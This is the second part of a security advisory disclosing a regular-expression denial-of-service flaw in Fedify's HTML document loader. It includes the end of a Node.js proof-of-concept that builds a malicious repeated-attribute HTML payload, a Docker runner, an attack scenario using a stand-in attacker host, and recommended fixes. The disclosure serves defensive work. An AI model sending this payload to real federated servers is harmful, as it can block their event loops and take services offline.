Advisory

GHSA-rchf-xwx2-hm93

Details, part 2 of 2. The advisory

Details

console.log('┌─────────────┬──────────────┬──────────────┬────────────────┐');
console.log('│ Repetitions │ Payload Size │ Expected │ Actual │');
console.log('├─────────────┼──────────────┼──────────────┼────────────────┤');

let vulnerabilityConfirmed = false;

for (const testCase of testCases) {
const maliciousHtml = generateMaliciousHtml(testCase.reps);
const result = runTest(maliciousHtml, ${testCase.reps} repetitions);

const actualTime = result.durationMs >= 1000
? ${(result.durationMs / 1000).toFixed(2)}s
: ${result.durationMs.toFixed(0)}ms;

const status = result.durationMs > 100 ? '⚠️ ' : '✓ ';

console.log(│ ${String(testCase.reps).padEnd(11)} │ ${String(result.payloadLength + ' bytes').padEnd(12)} │ ${testCase.expected.padEnd(12)} │ ${status}${actualTime.padEnd(12)} │);

if (result.durationMs > 500) {
vulnerabilityConfirmed = true;
}
}

console.log('└─────────────┴──────────────┴──────────────┴────────────────┘');
console.log('');

printSeparator();
console.log('[*] Exponential Time Complexity Analysis');
printSeparator();

console.log('');
console.log('Time approximately quadruples every 2 additional repetitions:');
console.log('');
console.log(' 18 reps → ~14ms');
console.log(' 20 reps → ~51ms (4x)');
console.log(' 22 reps → ~224ms (4x)');
console.log(' 24 reps → ~852ms (4x)');
console.log(' 26 reps → ~3.3s (4x)');
console.log(' 28 reps → ~14.0s (4x)');
console.log(' 30 reps → ~56.0s (estimated)');
console.log('');

printSeparator();
console.log('[*] Attack Scenario');
printSeparator();

console.log('');
console.log('1. Attacker sets up malicious federated server');
console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")');
console.log('3. Attacker responds with Content-Type: text/html');
console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) ');
console.log('5. Fedify\'s regex enters catastrophic backtracking');
console.log('6. Event loop blocked → Service unavailable (DoS)');
console.log('');

printSeparator();

if (vulnerabilityConfirmed) {
console.log('');
console.log('╔══════════════════════════════════════════════════════════╗');
console.log('║ ✓ VULNERABILITY CONFIRMED ║');
console.log('║ ║');
console.log('║ The HTML parsing regex in docloader.ts is vulnerable ║');
console.log('║ to ReDoS attacks. A ~150 byte payload can block the ║');
console.log('║ Node.js event loop for 7+ seconds. ║');
console.log('╚══════════════════════════════════════════════════════════╝');
console.log('');
process.exit(0);
} else {
console.log('');
console.log('[!] Vulnerability could not be confirmed in this environment.');
console.log(' This may be due to regex engine optimizations.');
console.log('');
process.exit(1);
}
}

main().catch(console.error);


</details>

<details>
<summary><strong>run_poc.sh</strong></summary>

```bash
#!/bin/bash
# Fedify ReDoS Vulnerability PoC Runner

set -e

IMAGE_NAME="fedify-redos-poc"

echo "Building Docker image..."
docker build -t ${IMAGE_NAME} .

echo "Running the PoC..."
docker run --rm ${IMAGE_NAME}

echo "Cleaning up..."
docker rmi ${IMAGE_NAME} 2>/dev/null || true

</details>

Running the Docker PoC

# Save the above files, then:
chmod +x run_poc.sh
./run_poc.sh

---

Impact

Who Is Affected?

  • All Fedify applications that use lookupObject(), getDocumentLoader(), or the built-in document loader to fetch content from external URLs
  • Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
  • Servers following standard federation patterns - fetching remote actors is a normal operation

Severity Assessment

| Factor | Assessment |
|--------|------------|
| Attack Vector | Network (remote) |
| Attack Complexity | Low (trivial payload) |
| Privileges Required | None |
| User Interaction | None |
| Impact | Availability (DoS) |
| Scope | Service-wide |

Real-World Scenario

  1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from @[email protected]
  2. The server attempts to fetch the attacker's profile via lookupObject()
  3. The attacker's server responds with malicious HTML
  4. The victim server's event loop is blocked for 14+ seconds
  5. During this time, all other requests are queued and potentially time out
  6. Repeated attacks can cause sustained service unavailability

---

Recommended Fix

Option 1: Use a Proper HTML Parser (Recommended)

Replace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:

// Using linkedom (lightweight DOM implementation)
import { parseHTML } from 'linkedom';

// Replace lines 258-287 with:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');

for (const link of links) {
  const type = link.getAttribute('type');
  const href = link.getAttribute('href');
  
  if (
    href &&
    (type === 'application/activity+json' ||
     type === 'application/ld+json' ||
     type?.startsWith('application/ld+json;'))
  ) {
    const altUri = new URL(href, docUrl);
    if (altUri.href !== docUrl.href) {
      return await fetch(altUri.href);
    }
  }
}

Option 2: Add Response Size Limits

If regex must be used, at minimum add size limits:

const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');

if (contentLength > MAX_HTML_SIZE) {
  throw new FetchError(url, 'Response too large');
}

const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
  throw new FetchError(url, 'Response too large');
}

Option 3: Refactor the Regex

If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:

// Use a non-backtracking approach with explicit attribute matching
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;

---

Resources

---

Thank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!

Sources & licences